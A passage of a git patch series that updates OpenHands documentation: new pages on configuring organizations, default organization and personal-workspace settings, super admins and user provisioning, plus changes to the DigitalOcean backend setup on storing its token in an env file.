`/home/openhands/workspace/.openhands/hooks.json` is not loaded when + the working folder is `/home/openhands/workspace/project`. + </Note> + + From that working folder, create the hooks directory: ```bash mkdir -p .openhands/hooks From 240b98f22089ee82f0240fa38a47da311328a076 Mon Sep 17 00:00:00 2001 From: "John-Mason P. Shackelford" <jpshack@gmail.com> Date: Thu, 15 Oct 2026 09:48:42 -0400 Subject: [PATCH 67/97] Add organization key concepts and a Configuring Organizations page (#938) * docs: add organization key concepts and an Enterprise organizations page Co-authored-by: openhands <openhands@all-hands.dev> * docs: use generic VM install and Kubernetes install wording on the organizations page Co-authored-by: openhands <openhands@all-hands.dev> * docs: rename the Enterprise organizations page to Configuring Organizations and trim overlap Co-authored-by: openhands <openhands@all-hands.dev> * docs: document Helm env values and defaults for the organization settings Co-authored-by: openhands <openhands@all-hands.dev> * docs: split organization settings and defaults into VM and Kubernetes tabs Co-authored-by: openhands <openhands@all-hands.dev> * Use personal workspace consistently instead of personal organization Co-authored-by: openhands <openhands@all-hands.dev> --------- Co-authored-by: openhands <openhands@all-hands.dev> --- docs.json | 1 + .../admin-console-configuration.mdx | 8 +- .../configuring-organizations.mdx | 164 ++++++++++++++++++ .../usage/cloud/organizations/overview.mdx | 53 +++++- 4 files changed, 222 insertions(+), 4 deletions(-) create mode 100644 openhands/usage/cloud/organizations/configuring-organizations.mdx diff --git a/docs.json b/docs.json index 76a3ebf7a..97abb39f9 100644 --- a/docs.json +++ b/docs.json @@ -571,6 +571,7 @@ "icon": "building", "pages": [ "openhands/usage/cloud/organizations/overview", + "openhands/usage/cloud/organizations/configuring-organizations", "openhands/usage/cloud/organizations/managing-members", "openhands/usage/cloud/organizations/roles-permissions", "openhands/usage/cloud/organizations/settings", diff --git a/enterprise/vm-install/admin-console-configuration.mdx b/enterprise/vm-install/admin-console-configuration.mdx index 2052f18b0..e06be4c49 100644 --- a/enterprise/vm-install/admin-console-configuration.mdx +++ b/enterprise/vm-install/admin-console-configuration.mdx @@ -127,11 +127,13 @@ Changing this password restarts LiteLLM. Models added in LiteLLM appear in the O | Field | Description | |---|---| | `Enable Default OpenHands Organization` | Lets the first user who signs in create and own the default organization. | -| `Automatically Add Signed-In Users` | Adds authenticated users to the default organization as members. | -| `Hide Personal Workspaces` | Shows the default organization as the only workspace. Existing personal data is hidden, not deleted. | +| `Automatically Add Signed-In Users` | Adds authenticated users to the default organization as members. Checked by default once the default organization is enabled. | +| `Hide Personal Workspaces` | Shows the default organization as the only workspace. Existing personal data is hidden, not deleted. Checked by default once the default organization is enabled. | These settings are additive. Disabling them does not delete organizations, remove members, or demote users. +For what each setting does and how to move an existing installation to organizations, see [Configuring Organizations](/openhands/usage/cloud/organizations/configuring-organizations). + ## Authentication and Integrations The following groups appear independently and reveal additional required fields when enabled. @@ -284,7 +286,7 @@ If you use external PostgreSQL, create and grant access to the Automations datab | `Custom LLM Extra HTTP Headers (JSON)` | JSON object containing static string header values. Treat these values as secrets when they contain credentials. | | `Login Session Idle Timeout (seconds)` | Maximum inactivity period before a user must sign in again. | | `Login Session Max Duration (seconds)` | Maximum total login-session lifetime, regardless of activity. | -| `Enable OEM User Creation Flow` | Lets OEM deployments provision organizations and users through the supported OEM flow. | +| `Enable OEM User Creation Flow` | Lets OEM deployments provision organizations and users through the supported OEM flow. See [User Provisioning](/openhands/usage/cloud/organizations/configuring-organizations#user-provisioning). | Change advanced options only when the corresponding integration or deployment requirement is understood. diff --git a/openhands/usage/cloud/organizations/configuring-organizations.mdx b/openhands/usage/cloud/organizations/configuring-organizations.mdx new file mode 100644 index 000000000..92852df52 --- /dev/null +++ b/openhands/usage/cloud/organizations/configuring-organizations.mdx @@ -0,0 +1,164 @@ +--- +title: Configuring Organizations +description: Settings that control the default organization, personal workspaces, and user provisioning, and how to move an existing installation to organizations. +--- + +<Note> + These settings apply to self-hosted OpenHands Enterprise, not to OpenHands Cloud (SaaS). For the concepts + behind them, see the [Organizations Overview](/openhands/usage/cloud/organizations/overview#key-concepts). +</Note> + +## Settings and Defaults + +Out of the box, none of these settings are on. Every user has only a personal workspace, and an installation +that predates these settings keeps working that way until you change them. + +A VM install and a Kubernetes install are configured differently but set the same underlying values. The Admin +Console applies its options to the Helm chart's `env` values when you deploy. + +<Tabs> + <Tab title="VM Install"> + Set these in the Admin Console. The default organization options are under **Default OpenHands Organization** + and the provisioning option is under **Advanced Options**. Save the config and deploy the new version for a + change to take effect. See [Admin Console Configuration](/enterprise/vm-install/admin-console-configuration). + + | Setting | Admin Console option | Default | + |---|---|---| + | Default organization | `Enable Default OpenHands Organization` | Unchecked | + | Add users automatically | `Automatically Add Signed-In Users` | Checked, once the default organization is enabled | + | Hide personal workspaces | `Hide Personal Workspaces` | Checked, once the default organization is enabled | + | User provisioning | `Enable OEM User Creation Flow` | Unchecked | + + The default organization is named `Enterprise Org`. The name cannot be changed from the Admin Console, but the + owner can rename the organization in the app. + + <Warning> + Checking `Enable Default OpenHands Organization` reveals `Automatically Add Signed-In Users` and + `Hide Personal Workspaces`, both already checked. If you save without changing them, every user is added to + the default organization and their personal workspace is hidden. To roll out gradually, uncheck + `Hide Personal Workspaces` before you deploy. + </Warning> + </Tab> + <Tab title="Kubernetes Install"> + Set these in the Helm `values.yaml`. Each one is off unless you set it. + + | Setting | Helm value | Default | + |---|---|---| + | Default organization | `env.OPENHANDS_DEFAULT_ORG_ENABLED` | Off | + | Add users automatically | `env.OPENHANDS_DEFAULT_ORG_AUTO_ADD_USERS` | Off | + | Hide personal workspaces | `env.HIDE_PERSONAL_WORKSPACES` and `env.OH_WEB_CLIENT_FEATURE_FLAGS_HIDE_PERSONAL_WORKSPACES` | Off | + | Default organization name | `env.OPENHANDS_DEFAULT_ORG_NAME` | `Enterprise Org` | + | User provisioning | `userProvisioning.enabled` | Off | + + ```yaml + env: + OPENHANDS_DEFAULT_ORG_ENABLED: "true" + OPENHANDS_DEFAULT_ORG_AUTO_ADD_USERS: "true" + OPENHANDS_DEFAULT_ORG_NAME: "Acme Engineering" # optional + # Optional. Set both to hide personal workspaces. + HIDE_PERSONAL_WORKSPACES: "true" + OH_WEB_CLIENT_FEATURE_FLAGS_HIDE_PERSONAL_WORKSPACES: "true" + + userProvisioning: + enabled: true + ``` + + Hide personal workspaces only together with the default organization and automatic membership, because users + need a workspace to land in. The Admin Console enforces this. Helm does not. + </Tab> +</Tabs> + +## Default Organization + +Turning on `Enable Default OpenHands Organization` makes OpenHands set up the default organization the next time +a user signs in: + +- **No team organization exists.** The first user to sign in creates it, named `Enterprise Org` unless you set a + name on a Kubernetes install, and becomes its owner. +- **Exactly one team organization exists.** It is adopted as the default organization. No duplicate is created. +- **Two or more team organizations exist.** Nothing is created or adopted, because OpenHands cannot tell which one + is meant to be the default. + +The default organization is tracked by a flag, not by its name, so the owner can rename it in the app. + +### Automatically Add Signed-In Users + +With `Automatically Add Signed-In Users` on, every user who signs in is added to the default organization as a +`Member`. The first time a user is added, the default organization becomes their current organization. After +that, a user who switches back to their personal workspace stays there, unless personal workspaces are hidden. + +With it off, users join the default organization by invitation only. + +### Hide Personal Workspaces + +`Hide Personal Workspaces` is available only when the default organization and automatic membership are both on. +Turning either one off also turns hiding off. + +When it is on: + +- **The personal workspace disappears from the organization selector** for users who belong to at least one team + organization. A user whose only workspace is personal still sees it, so no one is left with nothing. +- **Users parked on a personal workspace are moved** to the default organization when they next sign in, if they + are a member of it. +- **Nothing is deleted.** Conversations, secrets, API keys, and automations in a personal workspace are hidden, + not removed. Turning the setting off shows them again. +- **Personal workspaces are still created** for new users. Hiding changes what users see, not what exists. + +### Turning Settings Off + +These settings are additive. Turning them off does not delete organizations, remove members, or demote users. +Users stay in the default organization, and hidden personal workspaces reappear. + +## User Provisioning + +`Enable OEM User Creation Flow` and `userProvisioning.enabled` both set `USER_PROVISIONING_ENABLED=true` on the +app server. This registers `POST /api/organizations/provision-user`, which lets a super admin, or an organization +owner or admin for their own organization, create a user with a password and an API key. While the setting is +off, that endpoint returns `404`. Creating organizations and managing super admins are always available to +super admins. + +On OpenHands Enterprise 1.62.0 or later, turning this setting on also lets any signed-in user list the super +admins. + +<Warning> + User provisioning creates accounts with passwords and API keys. Turn it on only when you need to create users + without any user input, and turn it off again when you no longer do. +</Warning> + +For a worked example, see [Provision Users](/cookbook/provision-users). + +## Moving an Existing Installation to Organizations + +An installation that predates organizations has only personal workspaces. You can move to team organizations +without interrupting anyone, because nothing in these steps deletes or hides data until you choose to hide +personal workspaces. + +<Steps> + <Step title="Find a Super Admin"> + Only a super admin can create organizations. Use the + [Super Admins and Organizations](/cookbook/org-admin) example to find yours and grant the role to more people. + </Step> + <Step title="Create a Team Organization"> + A super admin creates the organization, then invites its first owner. An invited user who already has an + account is added at their next sign-in. If they were working in their personal workspace, they land in the new + organization and keep the personal one. + </Step> + <Step title="Choose One Shared Organization or Several"> + - **One shared organization for everyone.** Turn on `Enable Default OpenHands Organization` and + `Automatically Add Signed-In Users`. The team organization you created is adopted as the default + organization, and users are added to it as they sign in. On a VM install, uncheck + `Hide Personal Workspaces` before you deploy, because it is checked by default. + - **Several team organizations.** Leave the default organization off and invite people to the organization + they belong to. With two or more team organizations, the default organization is not set up. + </Step> + <Step title="Hide Personal Workspaces Last"> + Once users are in the default organization, turn on `Hide Personal Workspaces` if you want it to be the only + workspace users see. You can turn it off again at any time to bring personal workspaces back. + </Step> +</Steps> + +## Next Steps + +- [Managing Members](/openhands/usage/cloud/organizations/managing-members) - Invite users and manage roles. +- [Roles and Permissions](/openhands/usage/cloud/organizations/roles-permissions) - Understand the permission levels. +- [Admin Console Configuration](/enterprise/vm-install/admin-console-configuration) - Every Admin Console option on a VM install. diff --git a/openhands/usage/cloud/organizations/overview.mdx b/openhands/usage/cloud/organizations/overview.mdx index d1df8a313..c77b2cd7b 100644 --- a/openhands/usage/cloud/organizations/overview.mdx +++ b/openhands/usage/cloud/organizations/overview.mdx @@ -24,6 +24,56 @@ Organizations provide the following capabilities: - **Default LLM Configuration** - Define the default model provider and LLM that all members can use. - **Git Organization Claiming** - Claim specific Git organizations to route OpenHands resolver requests to your organization. +## Key Concepts + +### Personal Workspaces and Team Organizations + +Every user has a **personal workspace**, created automatically the first time they sign in. It is a private +organization for one person. Conversations, secrets, API keys, and automations created while it is the current +organization belong to it. + +A **team organization** is one you create on purpose to share resources. It has members with +[roles](/openhands/usage/cloud/organizations/roles-permissions), a default LLM configuration, shared credits, +and optional Git organization claims. A user can belong to their personal workspace and any number of team +organizations at the same time. + +### Current Organization + +Each user has one **current organization**. It decides where new conversations are created and which settings +apply. Switch between organizations from the organization selector in the app. The selector is hidden when +there is only one organization to choose from. + +OpenHands remembers each user's last selection. Requests that do not name an organization use it, for example +API calls made with an API key that is not tied to an organization. + +### Super Admins + +<Note> + Super admins apply to OpenHands Enterprise. +</Note> + +A **super admin** is an instance-level role, separate from the organization roles `Owner`, `Admin`, and `Member`. +A super admin can create organizations, invite or provision users into them, grant or revoke the super admin +role, and set organization quotas. A super admin does not get organization-level permissions in organizations +it is not a member of, and is not added as a member of the organizations it creates. + +On OpenHands Enterprise, only super admins can create organizations. To find your super admin or add more, see +the [Super Admins and Organizations](/cookbook/org-admin) cookbook example. + +### Default Organization + +<Note> + The default organization applies to OpenHands Enterprise. +</Note> + +A **default organization** is an optional team organization that an administrator turns on for the whole +installation. It can add every user who signs in to the same organization as a member, and can hide personal +workspaces so it is the only workspace users see. + +Existing data is never deleted when you turn these settings on or off. See +[Configuring Organizations](/openhands/usage/cloud/organizations/configuring-organizations) for the settings, +what each one does, and how to move an existing installation to organizations. + ## Conversation Visibility By default, conversations remain **private to individual members** of an organization. Each user's conversations @@ -34,7 +84,7 @@ are only visible to them. To start using Organizations: 1. Subscribe to an OpenHands Cloud plan or OpenHands Enterprise. -2. Create a new organization from the OpenHands Cloud dashboard. +2. Create a new organization. In OpenHands Cloud, use the dashboard. In OpenHands Enterprise, a [super admin](#super-admins) creates it. See [Configuring Organizations](/openhands/usage/cloud/organizations/configuring-organizations). 3. [Invite team members](/openhands/usage/cloud/organizations/managing-members) to join your organization. 4. Configure your organization's [LLM settings](/openhands/usage/cloud/organizations/settings) and shared resources. @@ -43,3 +93,4 @@ To start using Organizations: - [Managing Members](/openhands/usage/cloud/organizations/managing-members) - Learn how to invite users and manage roles. - [Organization Settings](/openhands/usage/cloud/organizations/settings) - Configure LLM providers, credits, and Git organization claims. - [Roles and Permissions](/openhands/usage/cloud/organizations/roles-permissions) - Understand the different permission levels. +- [Configuring Organizations](/openhands/usage/cloud/organizations/configuring-organizations) - Settings for the default organization, personal workspaces, and user provisioning, and how to migrate an existing installation. From 4ed850362f1f6f4d7229588dd98fa9bc91bf5057 Mon Sep 17 00:00:00 2001 From: "openhands-release-bot[bot]" <290150379+openhands-release-bot[bot]@users.noreply.github.com> Date: Thu, 15 Oct 2026 09:58:08 -0400 Subject: [PATCH 68/97] docs(cookbook): sync from OpenHands/enterprise-cookbook (#948) Syncs the Enterprise Cookbook tab with OpenHands/enterprise-cookbook@812ffc420aaca935557fcffda08800c12a0ec4b2. Every file under `cookbook/` and the Enterprise Cookbook tab in `docs.json` are generated from that repository. Change them there, not here; edits made directly in this repository are overwritten by the next sync. _Opened automatically by the docs-publish workflow in OpenHands/enterprise-cookbook ([run](https://github.com/OpenHands/enterprise-cookbook/actions/runs/38746937276))._ Co-authored-by: openhands-release-bot[bot] <290150379+openhands-release-bot[bot]@users.noreply.github.com> --- cookbook/org-admin.mdx | 32 +++++++++++++++++++++++--------- cookbook/provision-users.mdx | 32 +++++++++++++++++++++++++------- 2 files changed, 48 insertions(+), 16 deletions(-) diff --git a/cookbook/org-admin.mdx b/cookbook/org-admin.mdx index 17981d59b..08561f093 100644 --- a/cookbook/org-admin.mdx +++ b/cookbook/org-admin.mdx @@ -8,11 +8,15 @@ icon: user-shield <Card title="View source on GitHub" icon="github" href="https://github.com/OpenHands/enterprise-cookbook/tree/main/org-admin" horizontal /> -Every OpenHands Enterprise (OHE) user has a personal organization, and an install that predates organizations has only those. Creating a team org, and putting people in it, is an instance-level action that only a **super admin** can take. This example is a small command-line tool for those steps, with the reasons behind each one. +Every OpenHands Enterprise (OHE) user has a [personal workspace](/openhands/usage/cloud/organizations/overview#personal-workspaces-and-team-organizations), and an install that predates organizations has only those. Creating a [team org](/openhands/usage/cloud/organizations/overview#personal-workspaces-and-team-organizations), and putting people in it, is an instance-level action that only a [**super admin**](/openhands/usage/cloud/organizations/overview#super-admins) can take. This example is a small command-line tool for those steps, with the reasons behind each one. + +<Note> + For how personal workspaces, team organizations, and super admins work, see the [Organizations Overview](/openhands/usage/cloud/organizations/overview). For what the VM install and Kubernetes (Helm) settings do, see [Configuring Organizations](/openhands/usage/cloud/organizations/configuring-organizations). +</Note> ## How It Works -A super admin is a user whose instance-level role is `admin`. It is separate from the `owner`, `admin` and `member` roles inside an org. It carries the permissions to create orgs, invite people into orgs it is not a member of, and grant or revoke the role itself. +A [super admin](/openhands/usage/cloud/organizations/overview#super-admins) is a user whose instance-level role is `admin`. It is separate from the `owner`, `admin` and `member` roles inside an org. It carries the permissions to create orgs, invite people into orgs it is not a member of, and grant or revoke the role itself. ```mermaid sequenceDiagram @@ -102,7 +106,7 @@ Every command that changes something is a **dry run** until you add `--yes`. It <Tabs> <Tab title="Invite"> - Works for people who already have accounts. An existing user is added at their next login. If they were on their personal org, they land in the new one, and the personal org is still there. When no email provider is configured the tool prints the invite link to share. + Works for people who already have accounts. An existing user is added at their next login. If they were on their personal workspace, they land in the new one, and the personal workspace is still there. When no email provider is configured the tool prints the invite link to share. ```bash python org_admin.py invite --org-id ORG_ID --role owner ada@example.com --yes @@ -128,15 +132,17 @@ Every command that changes something is a **dry run** until you add `--yes`. It The endpoint is registered only when the operator turns it on. Both install types set `USER_PROVISIONING_ENABLED=true` on the app server: -| Install type | Where | Setting | -| ------------- | ----------------------------------------- | ---------------------------------------------------------------------------------------- | -| Replicated VM | Admin console → Config → Advanced Options | Check **Enable OEM User Creation Flow**, then save the config and deploy the new version | -| Helm | Your `values.yaml` | `userProvisioning.enabled: true` | +| Install type | Where | Setting | +| ----------------- | ----------------------------------------- | ---------------------------------------------------------------------------------------- | +| VM install | Admin console → Config → Advanced Options | Check **Enable OEM User Creation Flow**, then save the config and deploy the new version | +| Kubernetes (Helm) | Your `values.yaml` | `userProvisioning.enabled: true` | ![The Enable OEM User Creation Flow checkbox under Advanced Options in the admin console Config tab](https://raw.githubusercontent.com/OpenHands/enterprise-cookbook/main/org-admin/enable-oem-user-creation-flow.png) When it is disabled, `POST /api/organizations/provision-user` returns `404`. Org creation and superadmin management are always available. +For what this setting does across the installation, see [User Provisioning](/openhands/usage/cloud/organizations/configuring-organizations#user-provisioning). + ## Find the Super Admin Without the API The API route is blocked until you have a super admin key or the OEM flag. The database does not need either. @@ -152,8 +158,8 @@ If it returns nothing, run the ordering from migration `138` to see who would be ## Things to Know - **Listing orgs only shows memberships.** `GET /api/organizations` returns orgs the caller belongs to. Keep the id from `create-org`, because a super admin cannot list the orgs it created. -- **Personal orgs are not touched.** Nothing here moves or hides personal data. -- **The default-org flags change what a team org means.** If exactly one team org exists when `default_openhands_org_enabled` is later turned on, it is adopted as the default org, and with auto-add every user who signs in joins it. With more than one team org, the default-org bootstrap does nothing. +- **Personal workspaces are not touched.** Nothing here moves or hides personal data. Hiding personal workspaces is a separate setting; see [Hide Personal Workspaces](/openhands/usage/cloud/organizations/configuring-organizations#hide-personal-workspaces). +- **The default-org flags change what a team org means.** See [Default Organization](/openhands/usage/cloud/organizations/configuring-organizations#default-organization). If exactly one team org exists when `default_openhands_org_enabled` is later turned on, it is adopted as the default org, and with auto-add every user who signs in joins it. With more than one team org, the default-org bootstrap does nothing. - **Unclaimed git events follow the same rule.** They fall back to the default org only while exactly one team org exists. - **Org creation is for super admins only.** The chart value `openOrgCreation.enabled` is meant to open it up, but the `POST /api/organizations` route checks the super-admin permission and does not read it. @@ -173,6 +179,14 @@ If it returns nothing, run the ordering from migration `138` to see who would be ## Related <CardGroup cols={2}> + <Card title="Organizations Overview" href="/openhands/usage/cloud/organizations/overview" icon="book-open"> + Personal workspaces and team organizations, the current organization, super admins, and the default organization + </Card> + + <Card title="Configuring Organizations" href="/openhands/usage/cloud/organizations/configuring-organizations" icon="book-open"> + What the VM install and Kubernetes (Helm) settings do, and how to migrate an existing installation + </Card> + <Card title="provision-users" href="/cookbook/provision-users" icon="users-gear"> Script the same org and user provisioning from your own system, including idempotent re-runs and API key reissue </Card> diff --git a/cookbook/provision-users.mdx b/cookbook/provision-users.mdx index b2a4ac500..d573deb43 100644 --- a/cookbook/provision-users.mdx +++ b/cookbook/provision-users.mdx @@ -8,10 +8,14 @@ icon: users-gear <Card title="View source on GitHub" icon="github" href="https://github.com/OpenHands/enterprise-cookbook/tree/main/provision-users" horizontal /> -Create an organization, provision users into it, and get a per-user API key to act on each user's behalf, all as the superadmin of an **OpenHands Enterprise** instance. No UI and no interactive sign-up are involved. +Create an [organization](/openhands/usage/cloud/organizations/overview#key-concepts), provision users into it, and get a per-user API key to act on each user's behalf, all as the superadmin of an **OpenHands Enterprise** instance. No UI and no interactive sign-up are involved. This is the building block for **OEM integrations**, where your own user-management system owns the user and organization lifecycle and mirrors it into OpenHands. +<Note> + For how personal workspaces, team organizations, and super admins work, see the [Organizations Overview](/openhands/usage/cloud/organizations/overview). For what the VM install and Kubernetes (Helm) settings do, see [Configuring Organizations](/openhands/usage/cloud/organizations/configuring-organizations). +</Note> + <Info> This example is **Enterprise-only**. The endpoints do not exist on OpenHands Cloud or the open-source build. The provisioning endpoint is also **off by default**, so an operator must enable it (see [Enabling the Feature](#enabling-the-feature)). </Info> @@ -57,7 +61,7 @@ The existing Keycloak password is never rotated, so `password` is `null` on both - `pip install requests` <Note> - A superadmin can list its peers with `GET /api/admin/super-admins`. That endpoint requires superadmin, unless user provisioning is enabled on OHE 1.62.0 or later, when any signed-in user can call it. There is no self-service "am I the superadmin?" endpoint. The [`org-admin`](/cookbook/org-admin) example shows how to find the superadmin and grant the role to more users. + A superadmin can list its peers with `GET /api/admin/super-admins`. That endpoint requires superadmin, unless user provisioning is enabled on OHE 1.62.0 or later, when any signed-in user can call it. There is no self-service "am I the superadmin?" endpoint. The [`org-admin`](/cookbook/org-admin) example shows how to find the superadmin and grant the role to more users. For what the role is and is not, see [Super Admins](/openhands/usage/cloud/organizations/overview#super-admins). </Note> ## Run It @@ -181,15 +185,17 @@ requests.post( The endpoint is registered only when the operator turns it on. Both install types set `USER_PROVISIONING_ENABLED=true` on the app server: -| Install type | Where | Setting | -| ------------- | ----------------------------------------- | ---------------------------------------------------------------------------------------- | -| Replicated VM | Admin console → Config → Advanced Options | Check **Enable OEM User Creation Flow**, then save the config and deploy the new version | -| Helm | Your `values.yaml` | `userProvisioning.enabled: true` | +| Install type | Where | Setting | +| ----------------- | ----------------------------------------- | ---------------------------------------------------------------------------------------- | +| VM install | Admin console → Config → Advanced Options | Check **Enable OEM User Creation Flow**, then save the config and deploy the new version | +| Kubernetes (Helm) | Your `values.yaml` | `userProvisioning.enabled: true` | ![The Enable OEM User Creation Flow checkbox under Advanced Options in the admin console Config tab](https://raw.githubusercontent.com/OpenHands/enterprise-cookbook/main/provision-users/enable-oem-user-creation-flow.png) When it is disabled, `POST /api/organizations/provision-user` returns `404`. Org creation and superadmin management are always available. +For what this setting does across the installation, see [User Provisioning](/openhands/usage/cloud/organizations/configuring-organizations#user-provisioning). + ## Troubleshooting <Accordion title="401 Invalid service API key"> @@ -213,7 +219,7 @@ When it is disabled, `POST /api/organizations/provision-user` returns `404`. Org </Warning> - **Guard the superadmin token.** Anyone holding it can create orgs, mint users, and grant or revoke superadmin. Treat it like a root credential. -- A superadmin does **not** inherit org-scoped powers (secrets, billing, LLM settings, org deletion) in the orgs it creates. +- A superadmin does **not** inherit org-scoped powers (secrets, billing, LLM settings, org deletion) in the orgs it creates. See [Super Admins](/openhands/usage/cloud/organizations/overview#super-admins). ## APIs Used @@ -228,6 +234,18 @@ When it is disabled, `POST /api/organizations/provision-user` returns `404`. Org ## Related <CardGroup cols={2}> + <Card title="Organizations Overview" href="/openhands/usage/cloud/organizations/overview" icon="book-open"> + Personal workspaces and team organizations, the current organization, super admins, and the default organization + </Card> + + <Card title="Configuring Organizations" href="/openhands/usage/cloud/organizations/configuring-organizations" icon="book-open"> + What the VM install and Kubernetes (Helm) settings do, and how to migrate an existing installation + </Card> + + <Card title="org-admin" href="/cookbook/org-admin" icon="user-shield"> + Find the super admin and create team orgs before you provision users into them + </Card> + <Card title="service-account-github-pat" href="/cookbook/service-account-github-pat" icon="id-card"> Act for many users from one account with per-conversation credentials </Card> From f4696386bbaae5fcca0389d15f450011137363d9 Mon Sep 17 00:00:00 2001 From: Devin <devinvinson@gmail.com> Date: Thu, 15 Oct 2026 11:13:00 -0400 Subject: [PATCH 69/97] docs: clarify DigitalOcean Docker setup (#946) * docs: clarify DigitalOcean Docker setup Co-authored-by: openhands <openhands@all-hands.dev> * docs: highlight persistent DigitalOcean sign-in Co-authored-by: openhands <openhands@all-hands.dev> * docs: clarify DigitalOcean Docker volume setup Co-authored-by: openhands <openhands@all-hands.dev> * docs: normalize DigitalOcean troubleshooting format Co-authored-by: openhands <openhands@all-hands.dev> * docs: apply named-volume setup and env-file token guidance across Agent Canvas Address review feedback on PR #946. The PR switched the Docker install in setup.mdx from a ~/.openhands bind mount to the openhands-data named volume, but other pages still bound ~/.openhands. A Linux user who followed the new setup page and then copied a troubleshooting command could still hit `unable to open database file`. Named volume everywhere (setup, troubleshooting, backend-setup/docker): - Replace remaining ~/.openhands bind mounts in Docker examples with -v openhands-data:/home/openhands/.openhands. - setup.mdx: Update now says where data lives for npm/npx vs. Docker; Uninstall adds `docker volume rm openhands-data`, with a note about older ~/.openhands bind mounts. - setup.mdx: add a one-time command that copies existing ~/.openhands settings into the volume and chowns them to the container user. - Soften the UID claim to "defaults to UID 10001". Verified against the agent-server base image Dockerfile (ARG UID=10001). Publish Docker ports on loopback: - Use -p 127.0.0.1:<port>:8000 in setup, troubleshooting, docker and DigitalOcean examples. The agent server runs shell commands, and Docker-published ports bypass host firewalls such as ufw. - docker.mdx Warning now explains how to expose the container to other machines: drop or replace the 127.0.0.1: prefix and set a strong LOCAL_BACKEND_API_KEY. DigitalOcean web build (backend-setup/digitalocean.mdx): - Correct the bridge-key guidance. The Docker entrypoint generates and persists a session key when LOCAL_BACKEND_API_KEY is unset, so the bridge always has a key in the official image. This matches setup.mdx's "optional for local use" wording. MARS_WEB_KEY and LOCAL_BACKEND_API_KEY are both marked Optional. - New "Store Your Token in an Env File" section, so MARS_TOKEN stays out of shell history and process listings: - Installed CLI / npx: ~/.agent-canvas.env with `export` lines, chmod 600, `source ~/.agent-canvas.env && agent-canvas`, matching the existing vm.mdx pattern. The installed CLI does not read env files on its own. - Docker: source the same file and pass variables by name (-e MARS_WEB -e MARS_TOKEN -e LOCAL_BACKEND_API_KEY). Drop the redundant `docker volume create`. - From source: repo-root .env, which `npm run dev` loads through node --env-file-if-exists and Git already ignores. - Rewrite "Persist Sign-In Across Restarts" around the env file and add token rotation. Remove the inline MARS_TOKEN=... example, which leaked the token to shell history. - Scope the Reconnecting Note to the web build and Docker so desktop users (keychain) are not told they need MARS_TOKEN. - Move the "Manage Backends -> Add Backend -> Providers" step after the tabs so it applies to every launch method. - Replace the dead #docker tab anchor with #store-your-token-in-an-env-file. - Security: add guidance on protecting the env file. - Troubleshooting: link the restart row to the env-file section, add env-file hints to "Could not connect", and drop code formatting from the database-error row. - Remove a stray double blank line. Verified with `mint broken-links`. --------- Co-authored-by: openhands <openhands@all-hands.dev> --- .../backend-setup/digitalocean.mdx | 104 ++++++++++++++---- .../agent-canvas/backend-setup/docker.mdx | 20 ++-- openhands/usage/agent-canvas/setup.mdx | 44 ++++++-- .../usage/agent-canvas/troubleshooting.mdx | 10 +- 4 files changed, 133 insertions(+), 45 deletions(-) diff --git a/openhands/usage/agent-canvas/backend-setup/digitalocean.mdx b/openhands/usage/agent-canvas/backend-setup/digitalocean.mdx index 57ab48eb4..59c80054e 100644 --- a/openhands/usage/agent-canvas/backend-setup/digitalocean.mdx +++ b/openhands/usage/agent-canvas/backend-setup/digitalocean.mdx @@ -127,7 +127,11 @@ When you remove a DigitalOcean backend in **Manage Backends**, Agent Canvas asks ### Reconnecting After a Restart -Agent Canvas keeps the backend entry when you quit, but the connection to the sandbox closes. When you reopen the app, Agent Canvas reconnects to the selected DigitalOcean backend automatically. A DigitalOcean backend can show as disconnected in **Manage Backends** while it is not selected. Select it to reconnect. +The desktop app keeps the backend entry when you quit, but the connection to the sandbox closes. When you reopen the app, Agent Canvas reconnects to the selected DigitalOcean backend automatically. A DigitalOcean backend can show as disconnected in **Manage Backends** while it is not selected. Select it to reconnect. + +<Note> + In the web build or Docker, the token is not kept across restarts, even with a persistent settings volume. To stay signed in, load `MARS_TOKEN` from an env file each time you start the server or container. See [Store Your Token in an Env File](#store-your-token-in-an-env-file). +</Note> ## Costs @@ -144,7 +148,8 @@ Sessions pause when all of your DigitalOcean balances reach $0, and stay paused ## Security -- Your DigitalOcean token stays in the Agent Canvas desktop process and is never sent to the web page. Revoke the token in DigitalOcean to disconnect Agent Canvas. +- In the desktop app, your DigitalOcean token stays in the desktop process and is never sent to the web page. Revoke the token in DigitalOcean to disconnect Agent Canvas. +- In the web build, anyone who can read your env file can use your DigitalOcean account. Keep the file readable only by you (`chmod 600`) and out of version control. Revoke the token in DigitalOcean if the file is exposed. - Each session runs in its own microVM, separate from your machine and from other sessions. - Secrets and API keys you add in a session's settings are stored in that sandbox. The agent can read them while it works, as with any backend. - Sessions can reach the public internet. They cannot reach private DigitalOcean VPC resources. @@ -158,55 +163,114 @@ The DigitalOcean option appears in the browser version of Agent Canvas only when |----------|---------| | `MARS_WEB=1` | Turns on the DigitalOcean integration for the web build. | | `MARS_TOKEN` | Optional. A personal access token to sign in with when the server starts. | -| `MARS_WEB_KEY` | Optional. The key the browser must present to use the integration. Defaults to the server's session API key. | +| `MARS_WEB_KEY` | Optional. Authentication key for the DigitalOcean bridge. Falls back to the server's session API key if omitted. | +| `LOCAL_BACKEND_API_KEY` | Optional. Sets the Docker stack's session API key, which the bridge uses when `MARS_WEB_KEY` is not set. If omitted, the image generates a key and saves it in the settings volume. This is not your DigitalOcean token. | + +The web build, including Docker, uses personal access tokens and does not offer OAuth sign-in. Tokens entered in the UI stay in server memory, not in the settings volume. After each container or server restart, enter the token again unless you supply `MARS_TOKEN` at startup. -In the web build, the token is held in the server's memory only, so restarting the server signs you out unless `MARS_TOKEN` is set. +For Docker, explicitly set `MARS_WEB=1`. Images that require opt-in leave the integration disabled without it. Because Docker binds to a non-loopback address inside the container, the bridge requires an authentication key and refuses to start without one. The official image always supplies one: if you set neither `LOCAL_BACKEND_API_KEY` nor `MARS_WEB_KEY`, it generates a session key on first start, as described in [Environment Variables](/openhands/usage/agent-canvas/setup#environment-variables). The Docker example below sets `LOCAL_BACKEND_API_KEY` so you know the key's value and the bridge and local backend share it. -Set `MARS_WEB=1` in the same command that starts Agent Canvas. +For CLI and source launches, the launcher can supply the session key. + +### Store Your Token in an Env File + +Keep `MARS_TOKEN` in an env file rather than typing it into commands. A token typed into a command is saved in your shell history and can show up in process listings. With an env file, every start uses the same values, and Agent Canvas signs in to DigitalOcean automatically. <Tabs> - <Tab title="Installed CLI"> + <Tab title="Installed CLI or npx"> + The installed CLI does not read env files on its own. Create `~/.agent-canvas.env`, the same file used in [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm), and make it readable only by you: + + ```bash + touch ~/.agent-canvas.env + chmod 600 